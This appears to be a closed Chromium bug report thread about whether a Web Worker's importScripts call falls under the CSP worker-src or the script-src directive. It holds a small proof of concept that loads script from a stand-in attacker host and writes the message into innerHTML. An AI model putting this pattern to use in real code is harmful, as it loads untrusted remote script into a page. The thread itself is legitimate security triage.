Hmm, this seems tricky; I'm not sure what the right behavior is. The worker, worker.js, does obey the policy, right? The fact that it's implemented in terms of `importScripts` is tangential? I'll defer to the Worker and CSP experts.

I'm having trouble accessing the PoC, can you paste/attach the relevant code? Thanks!

worker-src.html
<meta http-equiv="Content-Security-Policy" content="worker-src 'self';">
<script>
var myWorker = new Worker("worker.js");
myWorker.onmessage = function(e) {
    document.body.innerHTML=e.data;
}
</script>

worker.js
importScripts("https://cross-origin.com/attack.js");

https://cross-origin.com/attack.js
postMessage("Message from attacker!");

Thanks! Mike can correct me if I'm wrong, but I think importScripts() is covered by script-src and not worker-src since it loads a script but doesn't create a new worker context. I would expect the cross-origin load to fail if your document's policy also sets script-src 'self', but the behavior you're currently seeing makes sense to me.

Cheers,
-Artur

#4: I tested by changing the meta tag to:

<meta http-equiv="Content-Security-Policy" content="worker-src 'self'; script-src 'self'">

and indeed, I did get this exception in the JS console:

Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-Pa8B7lhou8wtXed/4iOyFKeZG1pBtOCHY2WDEf5zPiA='), or a nonce ('nonce-...') is required to enable inline execution.

So it seems this is working as intended, and not a bug. If that's wrong, let me know.

Just to confirm: `importScripts` is ~the same as `<script whatever>`. We treat it as `script-src`, not as `worker-src`. In the Amazing Future Times(tm) when we implement nested workers, we'll tie those to `worker-src`.

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot